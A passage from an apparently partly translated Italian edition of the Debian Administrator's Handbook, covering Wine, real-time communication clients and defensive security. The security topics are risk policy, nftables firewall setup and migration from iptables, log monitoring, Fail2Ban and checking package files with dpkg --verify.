L'utente deve quindi eseguire winecfg e configurare quali posizioni (Debian) sono mappate su quali unità (Windows). winecfg ha alcuni valori predefinit e può rilevare automaticamente più unità; notare che se anche si ha un sistema dual-boot, non si dovrebbe puntare all'unità C: dove è montata la partizione di Windows in Debian, poichè Wine probabilmente sovrascriverebbe alcuni dati presenti nella partizione, rendendo Windows inutilizzabile. Per le altre impostazioni possono essere mantenuti i valori predefiniti. Per eseguire programmi Windows, è necessario prima installarli eseguendo il loro installer (Windows) all'interno di Wine, con un comando come wine .../setup.exe; una volta installato il programma, è possibile eseguirlo con wine .../programma.exe. La posizione esatta del file programma.exe dipende da dove è mappata l'unità C:; in molti casi, tuttavia, funziona eseguendo semplicemente wine programma, dato che il programma è di solito installato in un percorso dove Wine andrà a cercare da solo.

SUGGERIMENTO Lavorare su un guasto di winecfg

In alcuni casi, winecfg (che è solo un wrapper) potrebbe fallire. Per aggirare il problema, è possibile cercare di eseguire il comando sottostante manualmente: wine64 /usr/lib/x86_64-linux-gnu/wine/wine/winecfg.exe.so oppure wine32 /usr/lib/i386-linux-gnu/wine/wine/winecfg.exe.so.

Notare che non ci si deve fidare di Wine (o soluzioni simili) senza collaudare effettivamente il software specifico: solo una vera prova d'uso determinerà per certo se l'emulazione è pienamente funzionante.

ALTERNATIVA Macchine virtuali

Un alternativa all'emulazione del sistema operativo di Microsoft è di farlo girare realmente in una macchina virtuale che emula una macchina hardware completa. Ciò permette di far girare qualunque sistema operativo. Capitolo 12, Amministrazione avanzata descrive diversi sistemi di virtualizzazione, principalmente Xen e KVM (ma anche QEMU, VMWare e Bochs).

ALTERNATIVA Windows Terminal Server o VNC

Un'altra possibilità è di far girare da remoto le vecchie applicazioni Windows su un server centrale con Windows Terminal Server ed accedere all'applicazione da macchine Linux usando rdesktop. Questo è un client Linux per il protocollo RDP (Remote Desktop Protocol) che è usato da Windows NT/2000 Terminal Server per visualizzare i desktop sulle macchine remote.

Il software VNC fornisce funzionalità simili, con il beneficio aggiunto di funzionare anche con molti sistemi operativi. I client e i server Linux per VNC sono descritti in Sezione 9.2, «Accesso remoto».

13.10. Software Comunicazioni Real-Time

Debian fornisce una vasta gamma di software client per Comunicazioni Real-Time (RTC). La messa a punto di server RTC è discussa in Sezione 11.8, «Servizi di Comunicazione Real-Time». Nella terminologia SIP (Session Initiation Protocol), un'applicazione client o un dispositivo è detto anche user agent.

Ogni applicazione client differisce nelle funzionalità. Alcune applicazioni sono più convenienti per gli utenti di chat intensivi mentre altre applicazioni sono più stabili per gli utenti di webcam. Potrebbe essere necessario testare diverse applicazioni per individuare quelle che sono i più soddisfacenti. Un utente può infine decidere che ha bisogno di più di una applicazione, per esempio, un'applicazione XMPP per la messaggistica con i clienti ed una IRC per collaborare con alcune comunità on-line.

Per massimizzare la capacità degli utenti di comunicare con il resto del mondo, si consiglia di configurare sia il client SIP che il client XMPP o un singolo client che supporta entrambi i protocolli.

Per impostazione predefinita, il desktop GNOME propone il client di comunicazione Empathy. Emphaty può supportare sia SIP che XMPP. Supporta la messaggistica istantanea (IM), voce e video. Il progetto KDE fornisce KDE Telepathy, un client di comunicazione basato sulle stesse API usate dal client di GNOME Empathy.

Alternative popolari a Empathy/Telepathy includono Ekiga, Linphone, Psi e Jami (precedentemente noto come Ring).

Alcune di queste applicazioni possono anche interagire con gli utenti che utilizzano applicazioni mobile come Lumicall su Android.

→ https://lumicall.org

La Guida Rapida alle Comunicazioni Real-Time ha un capitolo dedicato al software client.

→ http://rtcquickstart.org/guide/multi/useragents.html

SUGGERIMENTO Cercare il supporto clienti per ICE e TURN

Alcuni clienti RTC hanno notevoli problemi di invio di voce e video attraverso firewall e reti NAT. Gli utenti potrebbero ricevere chiamate fantasma (il loro telefono squilla, ma non si sente l'altra persona) o potrebbero non essere in grado di chiamare tutti.

I protocolli ICE a TURN sono stati sviluppati per risolvere questi problemi. La gestione di un server TURN con indirizzi IP pubblici in ogni sito e l'uso di software client che supportano entrambi i protocolli ICE e TURN dà la migliore esperienza utente.

Se il software client è destinato solo alla messagistica istantanea, non c'è alcun bisogno che supporti ICE o TURN.

Sviluppatori Debian gestiscono un servizio alla comunità SIP a rtc.debian.org. La comunità mantiene un wiki con la documentazione sulla configurazione di molte delle applicazioni client confezionati in Debian. Gli articoli wiki e le schermate sono una risorsa utile per chiunque per impostare un servizio simile su un dominio proprio.

→ https://wiki.debian.org/UnifiedCommunications/DebianDevelopers/UserGuide

ALTERNATIVA Internet Relay Chat

Si può considerare anche IRC, oltre a SIP e XMPP. IRC è più incentrato attorno al concetto di canali, i cui nomi iniziano con un simbolo di cancelletto #. Ciascun canale di solito è dedicato a un argomento specifico e qualunque numero di persone può entrare in un canale per discutere (ma gli utenti possono comunque conversare privatamente uno-a-uno, se necessario). Il protocollo IRC è più vecchio, e non permette la cifratura punto a punto dei messaggi; tuttavia è possibile cifrare le comunicazioni fra gli utenti e il server incorporando il protocollo IRC in un tunnel SSL.

I client IRC sono un po' più complessi e di solito forniscono molte funzionalità di uso limitato in un ambiente aziendale. Per esempio gli «operatori» di un canale sono utenti con la capacità di buttare altri utenti fuori da un canale o addirittura bandirli permanentemente, quando la normale discussione è disturbata.

Poiché il protocollo IRC è molto vecchio, sono disponibili molti client per soddisfare le esigenze di molti gruppi di utenti; alcuni esempi incluldono XChat, Smuzi (client grafici basati su GTK+), Irssi (modalità testo), Circe (integrato in Emacs) e così via.

Capitolo 14. Sicurezza

Un sistema informatico può presentare un livello di importanza variabile a seconda dell'ambiente. In alcuni casi è vitale per la sopravvivenza dell'azienda. Perciò deve essere protetto da vari tipi di rischi. Il processo di valutazione di questi rischi, la loro definizione e l'implementazione della protezione sono comunemente conosciuti come «processo di sicurezza».

14.1. Definire la politica di sicurezza

ATTENZIONE Scopo di questo capitolo

La sicurezza è un argomento vasto e molto delicato, perciò non pretendiamo di descriverlo in modo esauriente nel corso di un singolo capitolo. Verranno solo delineati alcuni punti fondamentali e descritti alcuni degli strumenti e metodi che possono essere utili nell'ambito della sicurezza. Per maggiori approfondimenti, la letteratura abbonda, e all'argomento vengono dedicati interi libri. Un eccellente punto di partenza può essere Linux Server Security di Michael D. Bauer (pubblicato da O'Reilly).

La parola «sicurezza» di per sé coinvolge un ampio inseme di concetti, strumenti e procedure, nessuno dei quali ha valenza universale. Per scegliere tra questi bisogna farsi un'idea precisa di quali siano i propri obbiettivi. La messa in sicurezza di un sistema inizia con la ricerca della risposta ad alcune domande. Buttandosi a capofitto nell'implementazione di un insieme arbitrario di strumenti, si rischia di concentrarsi su aspetti errati della sicurezza.

La primissima cosa da definire è perciò lo scopo. Un buon approccio che ne facilita l'individuazione inizia con le seguenti domande:

- Cosa stiamo tentando di proteggere? La politica di sicurezza sarà differente se vogliamo proteggere il computer oppure i dati. Nell'ultimo caso, abbiamo anche bisogno di conoscere quali dati.

- Da cosa stiamo tentando di proteggerci? Fuga di dati confidenziali? Perdita accidentale di dati? Mancati ricavi derivanti da interruzione di servizio?

- Inoltre, da chi stiamo tentando di proteggerci? Le misure di sicurezza possono essere piuttosto differenti se si deve rimediare all'errore di un utente ordinario rispetto alla difesa da un gruppo di autori di attacchi determinati.

Il termine «rischio» è utilizzato abitualmente per riferirsi all'insieme di questi tre fattori: cosa proteggere, cosa si vuole evitare che accada, e chi vuole che accada. L'individuazione del rischio richiede la risposta a queste tre domande. Da questo modello di rischio può essere costruita una politica di sicurezza, che può essere implementata con azioni concrete.

NOTA Farsi continuamente domande

Bruce Schneier, esperto mondiale in materia di sicurezza (non solo di sicurezza informatica) cerca di contrastare uno dei miti principali della sicurezza con un motto: «La sicurezza è un processo, non un prodotto». Il patrimonio da proteggere varia nel tempo, e di pari passo variano anche le minacce e i mezzi a disposizione dei potenziali autori di un attacco. Sebbene la politica di sicurezza inizialmente sia stata progettata e implementata allo stato dell'arte, non bisogna mai dormire sugli allori. Le componenti del rischio evolvono, e di conseguenza deve evolvere la risposta a questo rischio.

Vale la pena di prendere in considerazione anche vincoli aggiuntivi, in quanto possono restringere la gamma delle politiche da intraprendere. Quanto siamo disposti a fare per proteggere il sistema? Questa domanda ha un forte impatto sulle scelte da adottare. La risposta è troppo spesso definita unicamente in base ad aspetti economici, ma bisogna considerare anche altri elementi, come la quantità di disagio imposto agli utenti del sistema o l'impatto negativo sulle prestazioni.

Una volta creato un modello del rischio, bisogna iniziare a pensare alla progettazione di una concreta politica di sicurezza.

NOTA Politiche estreme

Ci sono casi in cui la scelta delle azioni richieste per mettere in sicurezza un sistema è estremamente semplice.

Per esempio, se il sistema da proteggere comprende solamente un computer di seconda mano, il cui unico utilizzo è quello di fare un po' di calcoli al termine della giornata, potrebbe essere piuttosto ragionevole decidere di non fare nulla di particolare per proteggerlo. Il valore intrinseco del sistema è basso. Il valore dei dati è zero poiché non sono immagazzinati nella macchina. Un potenziale autore di un attacco che si infiltrasse nel «sistema» guadagnerebbe solo un'ingombrante calcolatrice. Il costo della messa in sicurezza di tale sistema sarebbe probabilmente maggiore del costo della violazione.

All'altro estremo, potremmo voler proteggere la confidenzialità di dati segreti nel modo più completo possibile, sopra ogni altra considerazione. In questo caso, una risposta appropriata potrebbe essere la distruzione totale di quei dati (eliminando i file in modo sicuro, distruggendo in pezzi il disco fisso, sciogliendoli poi in acido e così via). Se invece c'è il requisito aggiuntivo di mantenere i dati archiviati per un uso futuro (anche se non necessariamente a portata di mano) e se il costo non è ancora un fattore importante, allora un punto di partenza potrebbe essere memorizzare i dati su piastre di lega platino-iridio stoccate in bunker a prova di bomba sotto varie montagne sparse nel mondo, ognuno dei quali (ovviamente) totalmente segreti e sorvegliati da interi eserciti…

Per quanto estremi possano sembrare questi esempi, sarebbero tuttavia, una risposta adeguata ai rischi definiti, in quanto sono il risultato di un ragionamento che tiene conto degli obiettivi da raggiungere e dei vincoli da rispettare. Nessuna politica di sicurezza, quando deriva da una decisione ragionata, è meno rispettabile di ogni altra.

Nella maggior parte dei casi, il sistema informatico può essere segmentato in sottoinsiemi coerenti e per lo più indipendenti. Ogni sottosistema avrà i propri requisiti e vincoli, e quindi la valutazione del rischio e la progettazione della politica di sicurezza dev'essere effettuata separatamente per ognuno. Un buon principio da seguire è che un perimetro breve e ben definito è più facile da difendere di una frontiera lunga e tortuosa. L'architettura di rete dev'essere progettata di conseguenza: i servizi critici devono essere concentrati in poche macchine, e tali macchine devono essere accessibili attraverso un numero minimo di punti di controllo; sarà più facile proteggere questi punti piuttosto di schermare tutte le macchine sensibili dall'intero mondo esterno. È a questo punto che diventa evidente l'utilità di regolamentare il traffico di rete (anche attraverso firewall). Questo processo può essere implementato con hardware dedicato, ma una possibile soluzione più semplice e flessibile è l'uso di un firewall software come quello integrato nel kernel Linux.

14.2. Firewall o filtraggio dei pacchetti

FONDAMENTALI Firewall

Il firewall è un componente informatico provvisto di hardware e/o software che smista i pacchetti di rete in ingresso o uscita (che arrivano o lasciano la rete locale) e li lascia passare solo se soddisfano determinati criteri predefiniti.

Il firewall è un punto di filtraggio di rete ed è efficace solo per i pacchetti che devono transitare da esso. Perciò può essere efficace solo se il passaggio attraverso il firewall è l'unico instradamento possibile per quei pacchetti.

CASO SPECIFICO Firewall Locale

Un firewall può essere limitato ad una particolare macchina (a differenza di un'intera rete), nel qual caso la sua funzione è quella di filtrare o limitare l'accesso ad alcuni servizi, oppure di impedire connessioni uscenti a software malevolo che un utente, volente o nolente, potrebbe aver installato.

Il kernel Linux incorpora il firewall netfilter. Può essere controllato nello spazio utente con i comandi iptables, ip6tables, arptables e ebtables.

However, Netfilter iptables commands are being replaced by nftables, which avoids many of its problems. Its design involves less code duplication, and it can be managed with just the nft command. Debian Buster uses the nftables framework by default.

Per abilitare un firewall predefinito in Debian eseguire:

# apt install -y nftables

Reading package lists... Done

...

# systemctl enable nftables.service

Created symlink /etc/systemd/system/sysinit.target.wants/nftables.service → /lib/systemd/system/nftables.service.

14.2.1. nftables Behavior

As the kernel is processing a network packet it pauses and allows us to inspect the packet and decide what to do with that package. For example, we might want to drop or discard certain incoming packages, modify other packages in various ways, block certain outgoing packets to control against malware or redirect some packets at the earliest possible stage to bridge network interfaces or to spread the load of incoming packets between systems.

A good understanding of the layers 3, 4 and 5 of the OSI (Open Systems Interconnection) model is essential to get the most from netfilter.

CULTURE The OSI model

The OSI model is a conceptual model to implement networking protocols without regard to its underlying internal structure and technology. Its goal is the interoperability of diverse communication systems with standard communication protocols.

This model was defined in the standard ISO/EIC 7498. The following seven layers are described:

1. Physical: transmission and reception of raw bit streams over a physical medium

2. Data Link: reliable transmission of data frames between two nodes connected by a physical layer

3. Network: structuring and managing a multi-node network, including addressing, routing and traffic control

4. Transport: reliable transmission of data segments between points on a network, including segmentation, acknowledgment and multiplexing

5. Session: managing communication sessions, i.e. continuous exchange of information in the form of multiple back-and-forth transmissions between two nodes

6. Presentation: translation of data between a networking service and an application; including character encoding, data compression and encryption/decryption

7. Application: High-level APIs, including resource sharing, remote file access.

More information can be found on Wikipedia:

→ https://en.wikipedia.org/wiki/Osi_model

The firewall is configured with tables, which hold rules contained in chains. Unlike iptables, nftables does not have any default table. The user decides which and how many tables to create. Every table must have only one of the following five families assigned: ip, ip6, inet, arp and bridge. ip is used if the family is not specified.

There are two types of chains: base chains and regular chains. A base chain is an entry point for packets from the networking stack, they are registered into the Netfilter hooks, ie. these chains see packets flowing through the TCP/IP stack. On the other hand, and a regular chain is not attached to any hook, so they do not see any traffic, but it may be used as a jump target for better organization.

Rules are made of statements, which includes some expressions to be matched and then a verdict statement, like accept, drop, queue, continue, return, jump chain and goto chain.

FONDAMENTALI ICMP

ICMP (Internet Control Message Protocol) è il protocollo usato per trasmettere informazioni supplementari sulle comunicazioni. Permette di provare la connettività di rete con il comando ping (che invia un messaggio ICMP di echo request, al quale il destinatario risponde con un messaggio ICMP di echo reply). Può rilevare un firewall che rifiuta un pacchetto, indicare l'overflow di un buffer di ricezione, proporre un instradamento migliore per i successivi pacchetti nella connessione e così via. Questo protocollo è definito in numerosi documenti RFC; le prime RFC777 e RFC792 sono state ben presto completate ed estese.

→ http://www.faqs.org/rfcs/rfc777.html

→ http://www.faqs.org/rfcs/rfc792.html

Per chiarezza, un buffer di ricezione è una piccola area di memoria che immagazzina i dati nel tempo che intercorre tra il loro arrivo dalla rete e la loro elaborazione da parte del kernel. Se quest'area si riempie, non possono esser ricevuti nuovi dati, e l'ICMP segnala il problema, così la sorgente può abbassare la velocità di trasferimento (che raggiungerà idealmente un equilibrio dopo un certo tempo).

Da notare che, anche se le reti IPv4 possono lavorare senza ICMP, ICMPv6 è strettamente necessario per le reti IPv6, dato che esse utilizzano molte funzioni che erano, per il mondo IPv4, fornite da ICMPv4, IGMP (Internet Group Membership Protocol) e ARP (Address Resolution Protocol). ICMPv6 è definito nella RFC4443.

→ http://www.faqs.org/rfcs/rfc4443.html

14.2.2. Moving from iptables to nftables

The iptables-translate and ip6tables-translate commands can be used to translate old iptables commands into the new nftables syntax. Whole rulesets can also be translated, in this case we migrate the rules configured in one computer which has Docker installed:

# iptables-save > iptables-ruleset.txt

# iptables-restore-translate -f iptables-ruleset.txt

# Translated by iptables-restore-translate v1.8.2 on Thu Jul 18 10:39:33 2019

add table ip filter

add chain ip filter INPUT { type filter hook input priority 0; policy accept; }

add chain ip filter FORWARD { type filter hook forward priority 0; policy drop; }

add chain ip filter OUTPUT { type filter hook output priority 0; policy accept; }

add chain ip filter DOCKER

add chain ip filter DOCKER-ISOLATION-STAGE-1

add chain ip filter DOCKER-ISOLATION-STAGE-2

add chain ip filter DOCKER-USER

add rule ip filter FORWARD counter jump DOCKER-USER

add rule ip filter FORWARD counter jump DOCKER-ISOLATION-STAGE-1

add rule ip filter FORWARD oifname "docker0" ct state related,established counter accept

add rule ip filter FORWARD oifname "docker0" counter jump DOCKER

add rule ip filter FORWARD iifname "docker0" oifname != "docker0" counter accept

add rule ip filter FORWARD iifname "docker0" oifname "docker0" counter accept

add rule ip filter DOCKER-ISOLATION-STAGE-1 iifname "docker0" oifname != "docker0" counter jump DOCKER-ISOLATION-STAGE-2

add rule ip filter DOCKER-ISOLATION-STAGE-1 counter return

add rule ip filter DOCKER-ISOLATION-STAGE-2 oifname "docker0" counter drop

add rule ip filter DOCKER-ISOLATION-STAGE-2 counter return

add rule ip filter DOCKER-USER counter return

add table ip nat

add chain ip nat PREROUTING { type nat hook prerouting priority -100; policy accept; }

add chain ip nat INPUT { type nat hook input priority 100; policy accept; }

add chain ip nat POSTROUTING { type nat hook postrouting priority 100; policy accept; }

add chain ip nat OUTPUT { type nat hook output priority -100; policy accept; }

add chain ip nat DOCKER

add rule ip nat PREROUTING fib daddr type local counter jump DOCKER

add rule ip nat POSTROUTING oifname != "docker0" ip saddr 172.17.0.0/16 counter masquerade

add rule ip nat OUTPUT ip daddr != 127.0.0.0/8 fib daddr type local counter jump DOCKER

add rule ip nat DOCKER iifname "docker0" counter return

# Completed on Thu Jul 18 10:39:33 2019

# iptables-restore-translate -f iptables-ruleset.txt > ruleset.nft

# nft -f ruleset.nft

# nft list ruleset

table ip filter {

chain INPUT {

type filter hook input priority 0; policy accept;

}

chain FORWARD {

type filter hook forward priority 0; policy drop;

counter packets 0 bytes 0 jump DOCKER-USER

counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1

oifname "docker0" ct state related,established counter packets 0 bytes 0 accept

oifname "docker0" counter packets 0 bytes 0 jump DOCKER

iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 accept

iifname "docker0" oifname "docker0" counter packets 0 bytes 0 accept

}

chain OUTPUT {

type filter hook output priority 0; policy accept;

}

chain DOCKER {

}

chain DOCKER-ISOLATION-STAGE-1 {

iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2

counter packets 0 bytes 0 return

}

chain DOCKER-ISOLATION-STAGE-2 {

oifname "docker0" counter packets 0 bytes 0 drop

counter packets 0 bytes 0 return

}

chain DOCKER-USER {

counter packets 0 bytes 0 return

}

}

table ip nat {

chain PREROUTING {

type nat hook prerouting priority -100; policy accept;

fib daddr type local counter packets 0 bytes 0 jump DOCKER

}

chain INPUT {

type nat hook input priority 100; policy accept;

}

chain POSTROUTING {

type nat hook postrouting priority 100; policy accept;

oifname != "docker0" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade

}

chain OUTPUT {

type nat hook output priority -100; policy accept;

ip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER

}

chain DOCKER {

iifname "docker0" counter packets 0 bytes 0 return

}

}

table ip mangle {

chain PREROUTING {

type filter hook prerouting priority -150; policy accept;

}

chain INPUT {

type filter hook input priority -150; policy accept;

}

chain FORWARD {

type filter hook forward priority -150; policy accept;

}

chain OUTPUT {

type route hook output priority -150; policy accept;

}

chain POSTROUTING {

type filter hook postrouting priority -150; policy accept;

}

}

The tools iptables-nft, ip6tables-nft, arptables-nft, ebtables-nft are versions of iptables that use the nftables API, so users can keep using the old iptables syntax with them, but that is not recommended; these tools should only be used for backwards compatibility.

14.2.3. Sintassi di nft

The nft commands allow manipulating tables, chains and rules. The table option supports multiple operations: add, create, delete, list and flush. nft add table ip6 mangle adds a new table from the family ip6.

To insert a new base chain to the filter table, you can execute the following command (note that the semicolon is escaped with a backslash when using Bash):

# nft add chain filter input { type filter hook input priority 0 \; }

Rules are usually added with the following syntax: nft add rule [family] table chain handle handle statement.

insert is similar to the add command, but the given rule is prepended to the beginning of the chain or before the rule with the given handle instead of at the end or after that rule. For example, the following command inserts a rule before the rule with handler number 8:

# nft insert rule filter output position 8 ip daddr 127.0.0.8 drop

The executed nft commands do not make permanent changes to the configuration, so they are lost if they are not saved. The firewall rules are located in /etc/nftables.conf. A simple way to save the current firewall configuration permanently is to execute nft list ruleset > /etc/nftables.conf as root.

nft allows many more operations, refer to its manual page nft(8) for more information.

14.2.4. Installare le regole ad ogni avvio

To enable a default firewall in Debian, you need to store the rules in /etc/nftables.conf and execute systemctl enable nftables.service as root. You can stop the firewall executing nft flush ruleset as root.

In other cases, the recommended way is to register the configuration script in up directive of the /etc/network/interfaces file. In the following example, the script is stored under /usr/local/etc/arrakis.fw.

Esempio 14.1. File interfaces che richiama lo script del firewall

auto eth0

iface eth0 inet static

address 192.168.0.1

network 192.168.0.0

netmask 255.255.255.0

broadcast 192.168.0.255

up /usr/local/etc/arrakis.fw

Questo presuppone ovviamente che si stia usando ifupdown per configurare le interfacce di rete. Se si sta utilizzando qualcos'altro (come NetworkManager o systemd-networkd), bisogna invece fare riferimento alla loro documentazione per trovare il modo di eseguire lo script dopo che l'interfaccia di rete è stata abilitata.

14.3. Supervisione: prevenire, rilevare, dissuadere

Il monitoraggio è parte integrante di ogni politica di sicurezza per svariati motivi. Tra questi, il fatto che l'obiettivo della sicurezza non è solitamente limitato soltanto alla garanzia della riservatezza dei dati, ma include anche l'assicurazione alla disponibilità dei servizi. È quindi obbligatorio verificare che tutto funzioni come previsto, e rilevare in maniera tempestiva ogni comportamento anomalo o variazione nella qualità dei(l) servizi(o) erogati(o). L'attività di monitoraggio permette di evidenziare tentativi di intrusione e permette di reagire rapidamente prima che si possa arrivare a gravi conseguenze. Questa sezione passa in rassegna alcuni strumenti che possono essere usati per monitorare molti degli aspetti di un sistema Debian. Come tale, completa Sezione 12.4, «Monitoraggio».

14.3.1. Monitorare i log con logcheck

Il comando logcheck monitora i file di log ogni ora per impostazione predefinita. Invia messaggi di log inconsueti via email all'amministratore per analisi più approfondite.

La lista dei file monitorati è salvata in /etc/logcheck/logcheck.logfiles; i valori predefiniti funzionano bene se il file /etc/rsyslog.conf non è stato completamente stravolto.

logcheck lavora in uno di tre modi più o meno dettagliati: paranoid, server e workstation. Il primo è molto prolisso, e dovrebbe essere usato solo per server specifici come i firewall. Il secondo modo (predefinito) è consigliato per la maggior parte dei server. L'ultimo è progettato per le workstation, ed è ancora più conciso (filtra maggiormente i messaggi).

In tutti e tre i casi, logcheck probabilmente dovrà essere personalizzato escludendo alcuni messaggi extra (a seconda dei servizi installati), a meno che l'amministratore non voglia veramente ricevere ammassi orari di lunghe e noiose email. Poiché il meccanismo di selezione dei messaggi è piuttosto complesso, il file /usr/share/doc/logcheck-database/README.logcheck-database.gz è una lettura consigliata, anche se impegnativa.

Le regole applicate possono essere suddivise in varie tipologie:

- quelle che qualificano il messaggio come un tentativo di intrusione (memorizzato in un file nella directory /etc/logcheck/cracking.d/);

- quelle che cancellano tale qualifica (/etc/logcheck/cracking.ignore.d/);

- quelle che classificano il messaggio come un allarme di sicurezza (/etc/logcheck/violations.d/);

- quelle che cancellano questa classificazione (/etc/logcheck/violations.ignore.d/);

- infine, quelle che si applicano ai rimanenti messaggi (considerati come eventi di sistema).

ATTENZIONE Ignorare un messaggio

Tutti i messaggi etichettati come tentativo di intrusione oppure come allarme di sicurezza (seguendo una regola memorizzata in un file /etc/logcheck/violations.d/miofile) possono essere ignorati solamente tramite una regola nei file /etc/logcheck/violations.ignore.d/miofile oppure /etc/logcheck/violations.ignore.d/miofile-estensione.

Un evento di sistema è sempre segnalato a meno che una regola in una directory /etc/logcheck/ignore.d.{paranoid,server,workstation}/ stabilisca che l'evento debba essere ignorato. Le sole directory prese in considerazione sono esclusivamente quelle corrispondenti ad un livello di prolissità maggiore o uguale alla modalità di funzionamento selezionata.

14.3.2. Attività di monitoraggio

14.3.2.1. In tempo reale

top è uno strumento interattivo che mostra l'elenco dei processi attualmente in esecuzione. L'ordinamento predefinito è basato sull'utilizzo corrente del processore e può essere ottenuto con il tasto P. Altri tipi di ordinamento sono per occupazione di memoria (tasto M), per tempo totale di processore (tasto T) e per identificatore di processo (tasto N). Il tasto k permette di terminare un processo inserendo il suo identificatore di processo. Il tasto r permette il renice di un processo, cioè la variazione della sua priorità.

When the system seems to be overloaded, top is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it is probably an instance of software installed and executed on the system through a vulnerability in a web application.

top è uno strumento molto flessibile e le pagine del manuale riportano i dettagli di come modificarne la visualizzazione e adattarla alle abitudini e bisogni personali.

Lo strumento grafico gnome-system-monitor è simile a top e fornisce più o meno le stesse caratteristiche.

14.3.2.2. Storico

Il carico del processore, il traffico di rete e lo spazio libero su disco sono informazioni che variano costantemente. Mantenere uno storico della loro evoluzione spesso è utile nel determinare esattamente come viene utilizzato un computer.

Esistono molti strumenti dedicati a questo compito. La maggior parte può recuperare dati via SNMP (Simple Network Management Protocol) al fine di centralizzare l'informazione. Un ulteriore beneficio è che si possono recuperare dati da elementi di rete che non necessariamente sono computer generici, come ad esempio switch di rete o router dedicati.

This book deals with Munin in some detail (see Sezione 12.4.1, «Impostazione di Munin») as part of Capitolo 12: «Amministrazione avanzata». Debian also provides a similar tool, cacti. Its deployment is slightly more complex, since it is based solely on SNMP. Despite having a web interface, grasping the concepts involved in configuration still requires some effort. Reading the HTML documentation (/usr/share/doc/cacti/html/Table-of-Contents.html) should be considered a prerequisite.

ALTERNATIVA mrtg

mrtg (nel pacchetto che ha lo stesso nome) è un vecchio strumento. Nonostante sia un po' grezzo, può aggregare dati storici e visualizzarli sotto forma di grafici. Il pacchetto comprende una serie di script dedicati alla raccolta dei dati monitorati più diffusi come il carico del processore, il traffico di rete, le visite alle pagine web e così via.

I pacchetti mrtg-contrib e mrtgutils contengono script di esempio che possono essere utilizzati direttamente.

14.3.3. Avoiding Intrusion

Attackers try to get access to servers by guessing passwords, which is why strong passwords must always be used. Even then, you should also establish measures against brute-force attacks. A brute-force attack is an attempt to log in to an unauthorised software system by performing multiple login attempts in a short period of time.

The best way to stop a brute-force atack is to limit the number of login attempts coming from the same origin, usually by temporarily banning an IP address.

Fail2Ban is an intrusion prevention software suite that can be configured to monitor any service that writes login attemps to a log file. It can be found in the package fail2ban.

Fail2Ban is configured through a simple protocol by fail2ban-client, which also reads configuration files and issues corresponding configuration commands to the server, fail2ban-server. It has four configuration file types, all stored in /etc/fail2ban:

- fail2ban.conf. Global configuration (such as logging).

- filter.d/*.conf. Filters specifying how to detect authentication failures. The Debian package already contains filters for many common programs.

- action.d/*.conf. Actions defining the commands for banning and unbanning of IP addresses.

- jail.conf. It is where jails, the combinations of filters and actions, are defined.

Let us have a look at the configuration of sshd in /etc/fail2ban/jail.conf to better understand how Fail2Ban works...

[...]

[DEFAULT]

[...]

bantime  = 10m

[...]

maxretry = 5

[...]

[sshd]

port    = ssh

logpath = %(sshd_log)s

backend = %(sshd_backend)s

Fail2Ban will check for failed login attepts for sshd using Python regular expressions defined in /etc/fail2ban/filters.d/sshd.conf against the log file of sshd, which is defined in the variable sshd_log in the file /etc/fail2ban/paths_common.conf. If Fail2Ban detects five failed login attempts in a row, it will ban the IP address where those attempts originated.

Fail2Ban is a very simple and effective way to protect against the most common brute-force attacks, but it cannot protect against distributed brute-force attacks, which is when an attacker uses a large number of machines spread around the Internet.

A good way to provide extra protection against distributed brute force attacks is to artificially increase the login time after each failed attempt.

14.3.4. Rilevare le modifiche

Once the system is installed and configured, and barring security upgrades, there is usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes).

14.3.4.1. Revisione dei Pacchetti con dpkg --verify

APPROFONDIMENTI Proteggere contro le modifiche degli autori originali

dpkg --verify is useful in detecting changes to files coming from a Debian package, but it will be useless if the package itself is compromised, for instance, if the Debian mirror is compromised. Protecting against this class of attacks involves using APT's digital signature verification system (see Sezione 6.6, «Controllare l'autenticità dei pacchetti»), and taking care to only install packages from a certified origin.

dpkg --verify (o dpkg -V) è un'interessante strumento che permette di trovare i file installati che sono stati modificati (potenzialmente da un hacker), ma questo dovrebbe essere preso con le pinze. Per fare il proprio lavoro si basa su checksum memorizzati sul proprio database dpkg sull'hard disk (posso essere trovati in /var/lib/dpkg/info/package.md5sums); un hacker scrupoloso aggiornerà quindi questi file in modo da contenere i nuovi checksum per i file modificati.

FONDAMENTALI File di Imponte Digitali

Promemoria: l'impronta digitale è un valore, spesso numerico (anche se in notazione esadecimale), che contiene una specie di firma del contenuto di un file. Questa firma è calcolata con un algoritmo (MD5 oppure SHA1 sono gli esempi più diffusi) che garantisce con buona probabilità che anche il più piccolo cambiamento nel contenuto del file porti ad una variazione nell'impronta digitale; è conosciuto come "effetto valanga". Ciò permette di usare un'impronta numerica semplice per verificare se il contenuto di un file è stato alterato. Questi algoritmi non sono reversibili; in altre parole, per la maggior parte di questi, conoscere un'impronta digitale non permette di ricavarne il contenuto corrispondente. Recenti progressi matematici sembra abbiano però indebolito la sicurezza di questi principi, ma il loro uso finora non è stato messo in discussione, dal momento che sembra ancora piuttosto difficile creare contenuti differenti con la stessa impronta digitale.

L'esecuzione di dpkg -V verificherà tutti i pacchetti installati e stamperà una riga per ogni file con test fallito. Il formato è uguale a quello di rpm -V dove ogni carattere indica un test su alcuni meta-dati specifici. Purtroppo dpkg non memorizza i meta-dati necessari per la maggior parte dei test e quindi questi saranno contrassegnati con un punto interrogativo. Attualmente solo il test di checksum può produrre un "5" sul terzo carattere (quando fallisce).

# dpkg -V

??5??????   /lib/systemd/system/ssh.service

??5?????? c /etc/libvirt/qemu/networks/default.xml

??5?????? c /etc/lvm/lvm.conf

??5?????? c /etc/salt/roster

Nell'esempio sopra, dpkg riporta una modifica al file del servizio SSH che l'amministratore ha fatto al file compresso invece di usare un'appropriata sovrascrittura di /etc/systemd/system/ssh.service (che potrebbe essere memorizzata in /etc come dovrebbe essere ogni altro file di configurazione). Elenca anche più file di configurazione (identificati dalla lettera "c" sul secondo campo) che sono stati legittimamente modificati.

